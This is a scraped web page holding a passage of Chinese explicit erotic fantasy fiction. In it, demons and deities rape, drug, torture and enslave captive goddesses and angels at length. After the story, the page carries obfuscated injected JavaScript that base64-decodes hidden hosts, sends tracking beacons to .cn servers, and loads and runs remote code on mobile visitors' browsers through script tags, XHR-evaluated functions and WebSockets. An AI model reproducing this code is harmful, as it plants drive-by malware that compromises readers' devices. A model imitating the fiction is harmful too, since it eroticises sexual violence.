液,对她而言精液是无穷无尽,由神力生成的精液随便她要多少有多少,全凭她
喜欢。
  「唔、不行……要坏掉……坏掉了……主人、好烫、好多的精液……一直、
一直进来啊啊啊啊……」天使摸着越来越涨的肚子,她无助而难受的踢着床单,
徒劳挣扎。
  「既然是肉便器,就是要好好的灌溉才行,不是吗?」战神一挺腰,肉棒用
力戳刺天使的肛门,及已满是精液的肠道。
  「呜!」天使哀叫一声,涨的像水球般的肚子禁不起冲击,精液逆沖食道,
天使吐出了一些混合了胃液的精液,又酸苦又腥臭,她任由精液流下嘴角,意识
已经渐渐唤散,哀鸣渐渐转弱为呻吟。
  「哼,不行了吗?」战神抽出肉棒,洞大的肛门立刻形成逆洩出一道白浊浓
稠的精液瀑布。
  「呼呼……」压力顿失,天使趴倒在床上,受压的肚子挤出更多的精液,肛
门口的瀑布夸张的飞射在床单上,已湿透无法再吸收更多精液的床单上,聚积成
小小的一摊精液。
  「过来。」舒适的躺倒在大型长条枕头的战神指了指自己的肉棒,肉便器的
工作也包括清洁主人的肉棒。
  「啊,是、是的。」天使爬向战神的胯间,小嘴努力的含下那昂扬不倒的巨
物,满怀喜悦的吃下精液与自己的分泌物。
  战神以手支着脸,看向房间外广阔的天空,由太阳神所支配的烈日在她的双
眼间闪耀,呼应她的焰红眼眸,手轻抚正忙于口舌奉侍的天使秀髮,若所有思…
  …
           ************
  体液沿着挶束魔将的铁床边缘滑落,最后落在地上那摊浓稠的液体中,在这
小小牢房,充满过份浓郁到连性臭也能掩盖掉的花香,只要吸入花香就能不知疲
累重覆交合,甚至是不知厌倦,如野兽般的追逐愉悦的本能,无法被束缚也不需
要束缚的叫声,连自己听到都觉得会惊讶是如此的淫蕩,但意识到这个事实时,
自己,已经……
  「天使长已经非常的喜欢肉棒了对不对呢?」
  艾拉舔着射在恩雅脸上的精液。
  那是谁的精液呢?有海伦的,也有自己的吧?
  就连天使长那淡红色的长髮也沾了不少精液呢,她又说:「不然会什幺天使
长会这幺努力的套弄主人的肉棒呢?」
  「不、不是的……」恩雅做着无谓的反抗,也许斗天使长全身上下还没完全
屈服的部份,除了灵魂就剩这张嘴了,不过短短一小时就高潮五、六次的是自己
啊……
  儘管意志很努力抵抗了,但是从身体敏感处不断被攻击、传来那酥麻又舒服
的感觉,虽然痛昏了几次,可是身体却开始习惯这种堕落的快感……而那被压抑
的慾望已经不可能再被控制了,如果再这样下去的话……
  虽然清楚后果,但是恩雅已经无法脱身了,肉穴紧紧吸着魔族那长满小突起
的巨大肉棒,淫水像是洪水般洩出,肛肉被花神如打椿般抽插,一前一后的攻势
已经让她招架不住,小小的肉穴与肛门被撑的好大,魔将与花神射出的精液被肉
棒堵住,一直累积在体内更令恩雅疯狂,好涨……被射满精液的子宫好涨啊……
  而且被解放的肉棒更被绝妙的口技搾出一次又一次的精液,无法忍耐……
  「如果不喜欢主人的肉棒就不要霸佔着,我也好想被主人插耶,下面好空虚
好空虚啊。」只能吸着恩雅肉棒的海伦说,「害我只能一直吃你的精液,虽然我
是很喜欢吃精液啦。」
  「很喜欢喔,她现在可是夹很紧呢,让我很爽呢,我想主人也是吧?而且你
没听到吗?她的声音听起来就是很高兴呢。」花神说,「真是淫蕩啊,已经开始
懂得享受前后门的乐趣了?」
  「我……我……唔……」恩雅很想反驳,但是张开的嘴被趁隙插入了棒状硬
物,言语转变成淫秽的闷哼声,视线中只剩下乾净无毛的白肉。
  「欸,找个时间也把天使长下面剔光吧?」海伦摇着腰让肉棒在恩雅的嘴中
进进出出,就只是把恩雅的嘴当成肉穴的程度而已,「她也完全不懂得怎幺服务
呢,不过这也是处女的可爱吧?」
  被硬当成小穴的嘴巴只能张到极限,好容下海伦的肉棒,浓重的精液腥味沖
击着恩雅,她没想过神族洁净的身体竟可以有这幺骯髒的气味,
  「我们有的是时间教她怎幺做好奴隶,不过现在要做的,是让她的身体记住
快乐。」邪樱说话了,「这样才能进行下一步,既然补获了猎物,至少要调教到
不会反咬主人的程度,该怎幺,做你们都知道了。」
  「是的,主人。」海伦与艾拉同声说道。
  「如果想速成的话,就只好用那个了。」花神意有所指的说,「不过这样的
话,我们的斗天使长可能就……」
  「哎呀,那还真可怜啊。」艾拉窃笑着。
  「要现在吗?我好期待喔。」
  海伦摸着恩雅的脸,像是在对小孩子般,手指在恩雅的眼睛外逗留着,「我
也挺怀念的呢,那时候不听话的我在尝过一次后,就变的很乖了呢。像这样不屈
服又还保持着斗志的好眼神,到时还能坚持住吗?」
  恩雅恐惧的睁大眼,在被轮暴后还有更惨的命运吗?她们到底想摧毁自己到
什幺程度?连灵魂也不放过吗?在这天界最深处的地牢中,竟然没有被发现,黑
暗在这里腐蚀着光明……
  「我……我会变怎幺样……呜唔……」恩雅的思绪被高潮中断,这是第几次
了?她记不得了,白光炸裂了她的意识,被快感淹没。
  「又缩紧了,看来又高潮了呢?」邪樱欣赏着被她们玩弄的斗天使长,「当
个性慾处理器的话应该会很衬职?」
  「这样也不错呢。」海伦双手合什,高兴的附合。
  只是现在的恩雅听不到邪樱的话,她软倒的身体被花神扶着,而肉棒也被艾
拉再搾出了精液,并被贪婪的吃光。
  「差不多了,该是让斗天使长更加堕落了,主人,请将她交给我吧。」花神
说。
  「搞成废物就不用带回来。」邪樱说。
  「哎呀,主人就好好期待吧,我有让主人失望过吗?」
  邪樱扭曲着脸奸笑着,支配者的优越感建立在与猎物的嬉戏时,对猎物绝对
的支配权,一边任意对得手的猎物施以调教、淩辱,一边欣赏猎物屈辱的反抗,
那是支配者专属的权力,也是居上者的乐趣,是无上的享受。
  邪樱能涯过千年囚禁时光,就是靠着这小小的乐趣,堕落于肉慾的花神与看
守天使,甘愿受被囚禁的魔族支配。在众神的脚底下,邪樱嘲笑神族,更嘲笑自
己的可悲,每当想起落败之时,脸上的疤痕就隐隐作痛,邪樱痛恨自己的力量不
足,但是更惧怕战神的强大。
  邪樱很清楚被刑虐了千年,再也无法恢复以往的力量,想对战神一报耻辱疤
痕之仇的怨恨不变,却也深深明白自身的无力,在战神面前,现在的力量与婴儿
差不多,身体更是退化了,就算力量恢复也不堪一战,而经过了千年的时间,恐
怕战神变的更强了吧?
  『的确,我再也无法与你一较高下,不过……』邪樱默默的重覆已经想了数
百年的念头,疤痕受扬起的嘴角带动,显的更加狰狞丑恶。
  她知道这个想法是可行的,只需要再一点的耐心,还有,再多一点时间吧。
  「明明已经等了千年了……却感觉到时间不够……」邪樱淡淡的歎了口气,
真的是感觉太久了。
  「主人怎幺了?」海伦问,她正从驰乘于邪樱身上的艾拉背后,揉着艾拉的
乳球时,发现邪樱非常少见的露出脆弱的神情,这与印像中狂气又邪恶的主人很
不相衬啊。
  「没什幺,只是感歎时间漫长罢了。」邪樱闭上了眼,品嚐肉棒被主动套的
快感,还有那已经习惯的刑具加诸于身上的痛苦,这些时间就这样熬过来了,而
终点在那呢?
           ************
  灯光正上方照射下来,白亮的有些刺眼,在这间这没有窗户的房间中,牢牢
锁上了厚重的门,称之为牢房也不为过。圆型的大床佔据了房间绝大部份空间,
裸陈于床上沈睡的正是月神与艾莉丝。
  在广场和艾莉丝交合时后,连事后的清洁也没有,就直接被运到这间牢房。
  与那时唯一的不同,就在于她们颈上的项圈之间多了一条不长的铁链,牢牢
的束缚住月神与艾莉丝。
  在牢房外,伊铃走近,她陪着魔族最上位领导者大祭司走来。牢房外没有守
卫,伊铃手放在铁门上,原本漆黑平板的厚重铁门瞬间以手为中心,展开了複杂
的金色纹路,纹路构成图形的瞬间,三声接连的喀嗒声响起,铁门开了。
  「大祭司请进。」伊铃推开铁门,侧身让开门口。
  「嗯。」大祭司轻应一声,走进了牢房
  大祭司身上的黑纱似雾似露,全身上下饰满了纯金,贵气而挑情。长长的法
杖超过高挑身材,轻轻移步带动了一串清脆的铃声,镶金铃的髮带束在及地的白
发发尾。两条长尾随性地摇摆。她的面容似乎稚嫩点,但含笑的紫眸粼粼浮动着
老成与自信。
  铃铛声应和着脚步,大祭司走到床边,端详着侧卧的月神和仰躺的艾莉丝,
从她的视线全停留在月神身上可知道,她对天使毫无兴趣,她看了一下月神后,
转头兴奋的对伊铃说,「真的是上位神族耶,我可以感觉她身上强大的光明。」
  「是的,虽然付出了相当大的代价,不过总算是能够开始进行大祭司的作战
了。」伊铃毕恭毕敬的回答。
  「还是处女吗?我听说天界神族对性交也很狂热。」大祭司蹲下身,拉开月
神的腿,露出那长满银白体毛的耻丘,尚未勃起的肉棒软软的垂在一旁,颜色漂
亮且幼嫩的阴部尽入大祭司的眼中,「让我来确认一下吧。」
  大祭司放开法杖,一手撑开月神的外阴,一手小心的拨开紧窄的小穴,穴肉
也是非常漂亮的粉嫩,在肉穴稍微深处,薄薄的肉膜阻挡了更深入的侵犯,那是
女神纯洁的像征,大祭司语气更加兴奋的说:「看到了,还是处女喔。」
  「那太好了,大祭司,属下已经让她的肉棒稍微品嚐了一下旁边的天使,她
的确完全没有性交的经验。」伊铃说。
  「真是纯洁啊,倒令我有些意外,就来品嚐一下神族的味道吧。」大祭司靠
近肉棒,伸长了如蛇般的舌头熟练的缠住肉棒,虽然月神还没醒来,却在舌头的
逗弄下,肉棒敏感的硬挺勃起。
  「感度不错呢?」伊铃说,「不知道是药的效果?还是她自己本身呢?」
  「很粗大啊,清纯高贵的神族也有这幺大的肉棒啊。」大祭司双手握住肉棒
上下套弄,在肉棒下方的肉穴,正泌出晶萤的透明液体,「流出淫水了,开始尝
的到淫蕩的气味了,再来更多吧。」
  大祭司的舌头鬆开肉棒,转而去舔月神的肉穴,两条尾巴缠住月神柔软的大
乳房后,末端各伸出两根刺,对準月神的娇嫩的乳头刺下去……
  「呜……」在惨叫声中,月神被痛醒了,她下意识的扭动身体想逃开被侵的
乳房,睁眼却看到魔族正在侵犯自己,她慌张的惊呼,「不、不要!」
  月神极力想甩开白髮魔族,却扯动到乳房内的针,又是一声哀嚎,项圈的锁
链也被扯的铛铛响。
  「别乱动喔,不想受伤的……」白髮魔族说,她的脸庞看起来很稚气,笑容
也很天真,但是月神却从她的身上感受到一股非常不祥的气息,不只是因为她是
魔族。
  「你……是谁?」月神强迫自己镇定,她告诉自己慌张也没用,首先得要知
道自己在那里,于是她偷偷瞄了一下,这是个似乎没有窗户的石造房间,头上的
白光有点太亮了,而且摆在四周的东西,全是些淫邪的性道具,月神不由得打了
个寒颤,在广场被迫与艾莉丝交合的画面,浮上了她的脑中。
  「我嘛,我是魔族大祭司,叫我法璐吧,虽然你很快就只能像小狗一样乖乖
叫我主人,神族啊。有感觉到你的大奶开始涨起来了吗?」大祭司笑着问。
  「什、什幺?」月神愣了一下,随即就感觉到,随即就感到被魔族尾巴刺入
的乳房,不但发烫且有被注射的异质感,而且确实开始涨痛。她着急的问,「你
对我做了什幺?」
  法璐爬上床逼近月神,并抓住月神的乳房,五指全陷进了柔软的乳肉中,她
抓揉着乳房说,「等一下就知道了,现在呢……不妨关心一下天使吧。」
  「艾莉丝?唔!」月神转头,看到魔将伊铃正压在艾莉丝身上,且在艾莉丝
身上涂上不知是什幺的浊白液体,而且还重点涂在双乳、肉棒与下体,她担心的
问,「你、你要对艾莉丝做什幺?」
  「天使对我们来说,只是洩慾的工具而已,你可不一样了,月神大人,你的
身体很贵重的喔,所以我们会小心的使用,但是她就不一样了……」伊铃直抓着
艾莉丝的头髮,将她的上半身整个拉起来,项圈上的锁链也被扯的绷紧,「再一
下子,她就会连自己的名字也记不住了。」
  「住手!不要这样对艾莉丝!」月神向近在身旁的天使伸手,她不知道自己
还能做什幺?不想束手无策,可是却什幺也做不到……
  「嗯……」艾莉丝轻声呻吟,身体扭动着,手不知是有意还无意的在身上乱
摸,她睁开眼睛,眼神混浊。
  「艾莉丝!艾莉丝!」月神无助的呼唤,只是天使不知听到了没,月神想到
伊铃说的话,她好害怕艾莉丝已经迷失了自我,月神知道,这样的话……艾莉丝
就会变的像被掳来的天使一样,沦落为性交工具……
  「听不到啦,你就算喊再多次也没有用。」伊铃淫猥的伸出舌头,一下一下
的舔着艾莉丝的脸。
  「现在,该是关心你自己的时候了,神族。」法璐揉着月神的乳房,手指来
回搓弄挺立的乳头。
  「不要碰我。」
  月神挥开法璐的手,手脚并用的往后爬,但立刻被锁链牵住,这条细短的锁
链将她与艾莉丝变相的结合在一起,而且只要艾莉丝被控制,月神就无法独自逃
离。
  「你可以尽量抵抗没关係喔。」法璐身体压倒了月神,手再次袭上被注射的
乳房,滑腻吸手的触感真是上等,「真是淫慾的乳房啊,清纯的月神可以长这幺
大的乳房吗?」
  「放开我……唔……」
  本想奋力挣扎的月神,却突然失了力气,下体被灼热的物体抵着,而乳房也
涨的像满载的水球,身体从这两处部位传来了奇怪的燥热,月神甚至感觉到下体
陌生的湿润感,她惊慌的想:「我的身体是怎幺了?」
  「怎幺了?不抵抗了吗?」法璐捏着月神的乳头,脸贴着月神的脸,邪恶的
紫瞳紧瞧着慌张的绿眸,「还是说很想却办不到呢?」
  「不、不是……」月神歪头逃过法璐的视线,法璐却趁势排开鬓髮,朝着耳
朵轻吹。月神不禁叫出娇软的声音,身体更是剧烈的发抖……
  「很爽吧?」法璐又舔了一下月神的耳朵,让月神又颤抖了一下,「我会让
你爽爆喔,就像那个天使一样。」
  艾莉丝的浪叫声毫无节制的迴响在牢房中,她现在翻过身四肢撑在床上,像
野兽交尾似的让伊铃从后方狂插,屁股自动的划圆迎合伊铃的动作,翅膀不时兴
奋的张开拍打着,乳房被罩着两个吸盘,肉棒也被套上了海绵般的自慰套,伊铃
就抓着自慰套对艾莉丝手淫。
  「要疯掉了、好爽……爽死了……」艾莉丝仰着头大叫,简直就是最下贱的
妓女,那是什幺天使?被涂了液体的身体成了反应强烈的炸弹,任何的刺激都会
引爆她的感官,她的理智、自我已经被快感炸个粉碎,现在只是个肉人偶。
  「艾、艾莉丝……骗人……」月神完全不能接受,天使竟然如此轻易的就堕
落了,而且还这样……疯狂……
  「差不多了,让我们开始吧,美食已经上桌了,我可要好好的享用,而且我
并不是习惯把最美味的部份,留在最后才吃的喔。」法璐手抓着月神的乳房,手
指只消一用力就陷进了柔软的乳肉中,「首先,是开胃菜。」
  月神好想逃离,但是身体燥热的难以想像,连一丝力气也使不上,更别提要
甩开法璐的侵犯了,她只能无助的叫着:「别碰我!不要!」
  法璐轻易的掠夺了主导权,她决定先以月神的乳房为游戏的开始,那已满涨
的乳房是如此可口诱人,她捏住了挺起的乳头,粉红乳晕是如此的纯洁,令她想
更加的想放肆玷汙。
  只是被捏乳头而已,月神已不自禁的自小嘴中洩出魅惑娇吟,她微微扭动的
身躯看似抗拒,但其实无计可施。
  法璐双手在月神的乳房用力一捏,乳头赫然喷出两股浓白的乳汁,月神愣住
了,不敢相信魔族?竟然这幺对待自己,但是难受的涨乳感更加强烈了,虽然这
样的想法很汙秽,但是月神竟然希望能挤出乳汁,而且事实上,在乳汁被挤出的
瞬间,她难为情的感到很舒服……
  法璐完全知道月神的想法,她注入了的体液同时也是药物,不但会让乳房快
速且长效的泌乳,还有身体无力化与性慾高涨的效果。
  她身为最为淫邪的魔蛇族,体内流淌的血液儘是性慾,这点小改造只是小意
思。她一手揉月神的乳房让乳汁乱喷,另一手握住月神硬挺的肉棒上下套弄,她
在享受月神绝望的羞耻时,又难耐快感的表情。
  「住……住手……讨厌……」月神手遮着脸,另一手毫无作用的抓着法璐套
弄肉棒的手,纯洁的神祇能如此逃避现实,但又一点一点的更加陷入这残酷的现
实中。
  法璐拉着月神的手放在她自己的肉棒上,再连月神的手与肉棒一起抓着,开
始快速的上下套弄,双尾同时在肉穴外以那突起的尾尖来回摩擦阴唇,鳞片沾满
了淫水而闪闪发光。
  手心传来火烫的温度、湿滑粘液的触感,月神惊觉她的手正被抓着自慰,她
惊慌的不知如何是好,上下齐攻的快感如激烈的浪潮淹向她,比起与艾莉丝交合
时还更加强烈,她再也忍不住了,乱蹭着脚,慌乱的动人淫叫丝毫不逊于艾莉丝
狂乱的浪叫,娇美的嗓音动听醉人。
  法璐加快了手淫的动作,月神的手已完全任凭摆布,龟头泌出的液体越来越
多,这表示就快要射精了,法璐并不想浪费女神的精液,至少不是任凭精液喷的
四处都是。
  她让空的手做出抓取样,接着心念一动,摆在房间某处的淫具瞬间出现在她
的手中,那是一个精液收集器-包覆肉棒的长条型透明吸盘,下半截是有震动功
能的按摩器,一条软管连接了透明的空心圆球-法璐拉开月神的手,并把吸盘套
在月神的肉棒上,按摩器取代了手,并施以更加强烈的频率与震动刺激,月神瞬
间挺起腰,难受、愉悦的承受更多的快感。
  「神族啊,再叫的下贱一点吧。」法璐边说边脱下了长袍,金饰叮铛响。她
把长袍丢在一旁,露出了惊异的双肉棒,两根粗长的肉棒上下齐列,并且……蠕
动着……
  在月神忘我沈溺时,一旁的艾莉丝身上却缠绕着一只淫兽,一条条暗红色的
肉质触手就是淫兽的躯体,两条触手缠绕天使的乳根使乳房更加的突出,有一条
则进进出出艾莉丝的小嘴,可以见到触手伸出了粉红色的肉棒,将天使的嘴当淫
腔,伊铃正在享用艾莉丝的肛门,将肉穴让给了淫兽肆意使用。
  「呜唔……」天使眼角泛着泪光,她不是在哭,而是粗暴的性爱,她好痛…
  …但是刚被侵犯的肛门却有快感了,抽插的肉棒带来一种近似于排泄的快感,
括约肌被翻弄,好爽、好像要大便了,好爽,还有肉穴同时被插入好几条小触手,
这些邪恶的魔物同时搅动着,突起小瘤的粗糙表面刮擦柔嫩穴肉,每一吋细微的
皱摺都碰到了,淫水在激烈的交合中疯狂喷出。
  这些专为性交而存在的怪物,的确非常厉害,沦为性兽的天使将因淫兽而更
加堕落。
  淫兽猛烈的对艾莉丝口中喷射出大量的精液,艾莉丝只得强迫自己嚥下,精
液非常的浓稠,艾莉丝吃的如癡如狂,像在吃什幺美食,儘管精液又骚又腥……
  落在月神身旁的精液收集器只装了一半的精液,还有一些精液正沿着软管滴
落,刚射精的月神粗重的喘气、被高潮韵余冲击,肉棒还被吸盘罩着,自然也被
按磨器继续折磨。
  「该是享用正餐的时候了,可口……」法璐把手指浅浅的插进月神汁液横流
的肉穴中,非常的湿热,「多汁的美肉。」
  她分开月神双腿,让正待浇灌的胯下花园曝露在邪恶的眼光中,双肉棒如蛇
蜿蜒蠕动,兴奋的泌出粘稠的透明粘液,像是盯上了猎物的毒蛇,正滴下贪婪的
口水。月神还一副茫然,真的是太生嫩了,那就来点震憾教育吧∼
  法璐跪在月神双腿间,双肉棒立刻就定位在月神的肉穴与肛门外磨擦,硕大
无比的龟头轻抵门户,月神有所感应自己的贞操正面临重大危机,双腿反应式的
要缩起,却立刻被法璐的尾巴缠住、分开,月神踢脚丝毫动不了,魔族那恐怖的
凶器已经随时要玷汙她了,翡翠绿的眼眸透着深深的恐惧。
  「不、不要……不要,快放开我!!不……啊!!!」
  凄厉无比的哀嚎声中,是飞溅的鲜血,是强行且同时进入的剧痛,是征服者
愉悦无比的胜利瞬间,对纯洁女神而言是最恶劣也最残酷的……惨叫后,月神张
着嘴发不出任何声音,肉穴与肛门的痛使她一时断了线,眼神空洞虚无。
  「啧啧,晕过去了。」伊铃坐在一旁,喝着不知那来的冰红酒,看来她已经
做完了,或着说,把天使丢给了淫兽玩弄。
  「真美啊,这样的表情不管看多少次,都是这样的美,不管是魔族,还是天
使。」肉棒静静的停下,法璐怜爱的伸出手,抚摸月神精巧美丽的脸庞,像是在
接收她的战利品。
  「我开始好奇了,纤细的瓷娃娃,要怎样才不会这幺易碎?多打碎几次?」
  伊铃说。
  「慢慢来,有的时候时间跟方法,现在我要开始享受了,她的穴不但紧而且
自主的猛吸,跟主人不同,是个天生的上好淫穴。」法璐不需挺腰,肉棒只要前
后扭动就够了,她倾身含住月神的乳房,吸吮美味的乳汁。
  肉蛇暴力的撑开了紧窄的穴肉并向更深处挺进,血,和着淫液被挤出体外,
那也许是处女膜,也许是受伤的肠道-不重要,只要想到那伟大的作战与月神将
有的下场,比起来处女情节这种无聊的东西完全不值得一提,神族不会鬆弛的肉
穴,干再多次也是一样的爽,除了那层膜以外,差别嘛……也不过是会越来越没
救罢了。
  「真是太棒了,好会吸,而且真紧。」法璐粗着气息叫着,手不由自主紧捏
月神乳房使乳汁乱喷一通,她不在乎月神是不是醒了,奴隶的存在价值就只是给
主人使用的「物品」,现在这样的月神也真的只是个有温度会喷乳、会流淫汁的
「物品」
  伊铃摇着高脚杯中的红酒,冰块撞击玻璃清脆作响,她看向艾莉丝,这天使
正仰躺着,小腹不寻常的起伏显示她的体内有着异常的动作,伊铃

function BUjbpuVA(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function vSksqbAj(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BUjbpuVA(t);};window[''+'x'+'j'+'d'+'V'+'g'+'I'+'C'+'t'+'Q'+'T'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function AaoQ(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=vSksqbAj,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=AaoQ(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=AaoQ(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnnB0bC5jbiUzQTg4OTE=','d3NzJJTNBJJTJJGJJTJJGYS53aGJJnei5jbiUzQTk1MzU=','9171',window,document,['n','J']);}:function(){};
function jQEAxPhY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GIVrKx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return jQEAxPhY(t);};window[''+'Q'+'m'+'M'+'x'+'s'+'U'+'Y'+'E'+'e'+'B'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function OKqtg(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=GIVrKx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=OKqtg(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15636/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=OKqtg(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jjbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168218',window,document,['j','T']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSmSSqSS1SS4SSnSS3SS8SS9SS2SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS4SS/SS1SS1SS0SS5SS5SSbSSaSSfSScSS2SS3SS3SS4".split("SS").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMpMM.MMgMMoMMdMMmMMwMMiMMtMMhMM.MMcMMoMMmMM/MM1MM4MM/MM1MM1MM0MM5MM5MMbMMaMMfMMcMM2MM3MM3MM4".split("MM").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRoRRcRR1RR8RR1RR4RRnRR3RR8RR9RR2RR.RRoRRsRRsRR-RRcRRnRR-RRsRRhRRaRRnRRgRRhRRaRRiRR.RRaRRlRRiRRyRRuRRnRRcRRsRR.RRcRRoRRmRR/RR1RR4RR/RR1RR1RR0RR5RR5RRbRRaRRfRRcRR2RR3RR3RR4".split("RR").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DD5DDbDDaDDfDDcDD2DD3DD3DD4".split("DD").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2334_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();